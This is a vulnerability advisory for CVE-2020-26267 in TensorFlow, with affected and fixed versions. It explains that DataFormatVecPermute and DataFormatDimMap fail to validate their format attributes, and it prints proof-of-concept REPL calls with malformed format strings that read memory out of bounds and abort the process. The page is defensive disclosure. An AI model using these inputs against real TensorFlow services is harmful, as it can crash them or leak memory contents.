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CVE-2020-26267: Lack of validation in data format attributes in TensorFlow

December 10, 2020 (updated October 28, 2024)

The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],
src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624,        0],
[71365824,        0],
[     560,        0],
[      48,        0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],
src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted

A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:

>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
[1852793646, 1852793646],
[1954047348, 1954047348],
[1852793632, 1852793632]], dtype=int32)>

References

  • github.com/advisories/GHSA-c9f3-9wfr-wgh7
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-298.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-333.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-140.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-c9f3-9wfr-wgh7
  • nvd.nist.gov/vuln/detail/CVE-2020-26267

Code Behaviors & Features

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Affected versions

All versions before 1.15.5, all versions starting from 2.0.0 before 2.0.4, all versions starting from 2.1.0 before 2.1.3, all versions starting from 2.2.0 before 2.2.2, all versions starting from 2.3.0 before 2.3.2

Fixed versions

  • 1.15.5
  • 2.0.4
  • 2.1.3
  • 2.2.2
  • 2.3.2

Solution

Upgrade to versions 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2 or above.

Impact 7.8 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-125: Out-of-bounds Read

Source file

pypi/tensorflow-cpu/CVE-2020-26267.yml

Spotted a mistake? Edit the file on GitLab.

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